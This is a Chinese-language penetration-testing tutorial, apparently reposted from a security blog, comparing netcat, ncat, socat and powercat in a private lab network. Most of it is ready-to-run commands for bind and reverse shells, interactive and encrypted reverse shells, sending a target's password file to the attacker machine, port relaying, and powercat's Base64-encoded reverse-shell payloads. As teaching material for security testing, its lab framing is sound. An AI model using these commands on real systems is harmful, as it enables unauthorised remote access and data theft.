來自 | 黑白之道
原創投稿作者:Nicolus
滲透測試過程中會用到一些系統shell工具,有幾隻長得很像,分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“貓”相關的,這幾隻“貓”上得了庭堂,下得了廚房,不對,是上可賣萌,下可販賤,最近彙總了下這幾隻“貓”的用法,分享如下。
環境資訊:
攻擊機:KALI 192.168.56.102
目标機:Win7 192.168.56.101
ubuntu 192.168.56.103
1.netcat
字nc,号瑞士軍刀,簡潔而不簡單,擅長以最簡單的招式破解最牢固的系統。這隻“貓”最常見,大家都很熟悉了。執行nc -h 可以檢視幫助資訊。
最常用用法:
(1)socket連接配接:
作為用戶端連接配接一個主機:nc -nv 192.168.56.101 8888。
作為服務端提供一個連接配接:nc -nvlp 8888。
【非互動式shell,此時可以直接聊“騷”】
(2)傳輸檔案:
傳輸方:
nc -nv 192.168.56.101 8888
< /usr/share/windows-resources/powercat/powercat.ps1
(apt-get install powercat,之是以傳這個,因為後面要用到)
接收方:
nc -nvlp 8888 > d:\powercat.ps1
(3)掃描
TCP掃描:
nc -nv -z -w 1 192.168.56.101 3388-3390 。(看上面的幫助資訊,-z是用于掃描的,-w用于設定逾時時間)
UDP掃描:
預設是TCP掃描,在上述指令上增加一個-u 參數即可使用UDP掃描:
nc -nv -z -w 1 -u 192.168.56.101 53 161 162
(4)建立shell
bind shell: 正向連接配接(攻擊機去主動連接配接)
目标機執行 nc -nvlp 192.168.56.101 4444 -e cmd.exe
攻擊機執行 nc -nv 192.168.56.101 4444 得到一個cmd.
reverse shell: 反向連接配接(攻擊機等着被連接配接)
攻擊機執行:nc -nvlp 4444
目标機執行:nc -nv 192.168.56.102 4444 -e cmd.exe
(5)-c與-L
KALI版本的nc比win7版本的多一個-c,可以直接發指令,而不是像-e一樣是一個shell檔案,win7版本的多一個-L,可以一直監聽,而-l會在連接配接中斷後不再監聽。(KALI版本是有一個-k選項的,但是并沒有起作用,這個參數在下一部分中的ncat中被優化)。

【TIPS:這時KALI變為向win7傳送資料了,攻防目标轉換,在目标機為Linux時可使用】
(6)其他功能
nc還可以發掘很多其他功能,在LINUX之間可以利用tar傳輸目錄、傳輸視訊流、甚至克隆裝置等,有需要的可以找找網上的資料或參考下面的nmap-cat。
2. nmap-cat(ncat)
字ncat,号“21世紀的netcat”,這是nmap項目對原始的netcat(nc)進行的優化改進,但是并不共享源代碼,增加了一些新功能,調整了一些參數。
官方cookbook位址:
https://nmap.org/ncat/guide/index.html
安裝:apt-get install ncat (Windows版本的直接帶了,在nmap的安裝目錄下)
【裝完發現“20世紀的nc”執行程式被替換成了“21世紀的ncat”,如果想再使用老版本的nc,可以執行/bin/nc.traditional,但是後面我們仍然執行ncat,以區分nc】
ncat可以實作上述nc的所有功能,相同部分的用法完全相同,這裡再拓展一下用法(有nc也支援的,也有新的,通過ncat -h檢視)。
(1)搭建簡易http server
用戶端用浏覽器通路這個檔案即可(每用戶端可通路一次,因為本質上還是監聽端口與連接配接端口)。
(2)聊天室模式(--chat)
(3)檔案傳輸
仍以powercat.ps1為例
接收方win7:
ncat.exe -l > powercat.ps1
【TIPS】 -l 監聽模式如果不跟端口号,則預設使用31337
發送方KALI:ncat --send-only 192.168.56.101 < powercat.ps1
有兩個參數--send-only和--receive-only,就是不管對方是否接收和發送了資料,我隻發送和接收,不管對方是否接收或發送成功。
反過來,類似于反彈shell 的發送方監聽:
發送方KALI:
ncat -l --send-only < powercat.ps1
接收方Win7:
ncat 192.168.56.102 > powercat.ps1
【TIPS】不管你讓誰連誰,都得是監聽方先啟動。一般反彈形式的比較常見,因為一般安全裝置會對入向流量攔截,但是出向流量不太好攔截。
利用管道傳輸多個檔案:
接收方ubuntu: ncat -l | tar xzv
發送方KALI:
tar czv| ncat --send-only 192.168.56.103
發送一個磁盤鏡像(前提是處于解除安裝或隻讀挂載模式):
接收方ubuntu:
ncat -l | bzip2 -d > KALI-hda.image
發送方KALI:
cat /dev/hda | bzip2 | ncat --send-only 192.168.56.103
反向傳輸同上。
(4)代理模式--broker
如果win7隻能通路ubuntu,但是不能通路KALI,而ubuntu可以通路兩個,該怎樣讓KALI給win7傳輸檔案呢?
ubuntu: ncat -l --broker
win7: ncat.exe ubuntu > powercat.ps1
KALI:
ncat --send-only ubuntu < powercat.ps1
【TIPS】broker伺服器不緩存兩個機器的之間的流量。broker也不會手動斷開連接配接(對比于兩個機器直傳時,是傳輸結束兩邊的連接配接就直接拆除了),傳輸結束後需要win7手動斷開連結。
(5)加密流量
很簡單,在連接配接或傳輸檔案時加上--ssl參數即可,以傳輸檔案的指令為例:
接收方win7:
ncat.exe -l --ssl > powercat.ps1
發送方KALI:
ncat --send-only 192.168.56.101 --ssl < powercat.ps1
【TIPS】預設是用一個1024位的RSA 密鑰自動生成證書。
3. socat
socat,意思是之前的cat,just so so(開玩笑),但是看人家的描述是帶兩個加号滴!
KALI自帶,其他系統下載下傳連結:
http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz
tar zxvf socat-1.7.3.4.tar.gz
cd socat-1.7.3.4
./configure
make && sudo make install
(1)socket用戶端與server
Server端:socat TCP4-LISTEN:8888 -
用戶端:socat - TCP4:<server’s IP>:8888
【TIPS】“-”前後都有空格,表示标準輸入輸出
(2)檔案傳輸
這次傳遞seclists中的一個密碼檔案到目标機ubuntu上。
正向傳輸:
ubuntu監聽:
remnux@remnux:~/socat-1.7.3.4$sudo socat TCP4-LISTEN:8888 - >> 1.txt
【TIPS】“-”前後都有空格,表示标準輸入輸出
KALI發送:
root@kali:#
socat
TCP4:192.168.56.103:8888 file:darkweb2017-top100.txt
類似ncat,也做一個反向傳輸:
KALI監聽:
socat
TCP4-LISTEN:8888,fork file:darkweb2017-top100.txt
ubuntu擷取:
socat
TCP4:192.168.56.102:8888 file:received_password.txt,create
參數解釋:服務端的fork,是建立一個子程序,允許多個連接配接,跟nc中的-k類似;接收方的file後跟個create表示如果沒有則建立。
(指令比nc和ncat複雜多了吧?但其實也有規律,如果是用戶端就是TCP4:IP:PORT file:xxx 如果是server端就是TCP4-LISTEN:PORT file:xxxx)
(3)建立shell
正向shell:
ubuntu監聽:
socat TCP4-LISTEN:8888 EXEC:/bin/bash
KALI連接配接:
socat TCP4:192.168.56.103:8888 -
反向shell:
KALI監聽:socat -dd TCP4-LISTEN:8888 -
【TIPS】由socat -h 得知-d是檢視verbosity資訊的意思,可以使用1到4個d,越多越詳細,建議是使用兩個。
ubuntu連接配接:
socat
TCP4:192.168.56.102:8888 EXEC:/bin/bash
效果如下:
(4)互動式反彈shell
上述shell都是非互動式的,以下指令可以幫助在KALI上生成一個互動式的shell.
KALI:
socat
TCP4-LISTEN:8888 file:`tty`,raw,echo=0
ubuntu:
socat
TCP4:192.168.56.102:8888
EXEC:'bash -i',pty,stderr,setsid,sigint,sane
(5)加密反彈shell
利用openssl生成證書和秘鑰檔案:
openssl req -newkey rsa:2048 -nodes -keyout test.key -x509 -days 100 -out test.crt
合并為一個pem檔案:cat test.key test.crt > test.pem
KALI監聽:
socat
OPENSSL-LISTEN:8888,cert=test.pem,verify=0,fork file:`tty`,raw,echo=0
ubuntu連接配接:
socat
OPENSSL:192.168.56.102:8888,verify=0 EXEC:'bash -i',pty,stderr,setsid,sigint,sane
(6)端口轉發
KALI監聽:socat TCP-LISTEN:8888,fork -
ubuntu轉發:
socat
TCP-LISTEN:8888,fork TCP:192.168.56.102:8888
Win7連接配接ubuntu:
ncat.exe -nv 192.168.56.103 8888 -e cmd.exe
此時KALI 即擷取到win7的shell.
4. powercat
powercat即powershell cat,故名思義,是運作在powershell環境上的,我們測試環境以管理者身份運作Powershell。
在測試win7的powershell上執行Set-ExecutionPolicy Unrestricted 選擇Y設定為不限制執行。前面已經通過nc和ncat将該檔案傳輸過去了,也可以通過
https://github.com/besimorhino/powercat下載下傳。後進入powercat的下載下傳目錄執行Import-Module powercat.ps1,這樣後面可以直接使用powercat這個指令。
執行powercat -h,有兩個必選參數,-c是做為用戶端,-l 是監聽作為服務端。按上面的主要功能再測試下:
(1)建立Shell
Bind Shell:
Win7執行:
powercat -l -p 8888 -e cmd.exe
KALI執行:ncat -nv 192.168.56.101 8888
Reverse Shell:
KALI執行監聽:ncat -nvlp 8888
Win7執行:powercat -c 192.168.56.102 -p 8888 -e cmd.exe
【是不是已經駕輕就熟了,因為幾乎跟上面參數一樣啊,就是換換指令】
(2)檔案傳輸
上傳一個檔案到攻擊機KALI:
KALI執行:
ncat -nvlp 8888 > win7password.txt
Win7執行:
powercat -c 192.168.56.102 -p 8888 -i C:\win7password.txt
反過來,KALI上傳到Win7:
Win7執行:powercat -l -p 8888 -of C:\bt.txt
KALI執行:ncat -nv 192.168.56.101 8888 < bt4-password.txt
(3)端口轉發
powercat -l -p 8888 -r tcp:192.168.56.102:9999
(4)擁有一個互動式powershell
powercat -l 8888 -ep -rep
-ep:讓連接配接上來的用戶端擷取一個僞終端
-rep:保持連接配接,用戶端斷開的時候連結保持,可以下一次繼續連接配接。
【TIPS】這裡有個小坑,KALI連接配接上這個僞終端後,退出時直接ctrl+C退出,不要執行exit,如果執行exit的話會連WIN7的powershell一起退出,連接配接無法保持。
(5)本地生成payload
-g,生成一個payload,-ge 生成一個Base64編碼的payload
KALI監聽起來:ncat -nvlp 8888
生成本地payload,powercat -c 192.168.56.102 8888 -e cmd.exe -g > reverse.ps1
執行.\reverse.ps1
這時KALI擷取到反彈shell. 這個reverse.ps1大概有17KB大小,可以用記事本打開修改其内容調整連接配接參數。
再用-ge試下powercat -c 192.168.56.102 8888 -e cmd.exe -ge > reverse.ps1
這時會生成一個約46KB的Base64編碼的payload.當然無法直接執行這個ps1.
看powercat -h中的ge參數解釋,如果要執行,需要用指令powershell -E 跟上編碼過的代碼,但是你會發現這個代碼量太大了,直接在powershell裡根本粘貼不全,可以在ISE中粘貼執行。
5.小結
幾隻“貓”的主要功能介紹完了,說下老王的想法,最好用的是ncat,功能多而且相對于socat指令文法簡單一些,但是socat的某些功能是ncat不能代替的,如互動式終端。powercat也很好用,但前提需要你先把檔案下載下傳過去。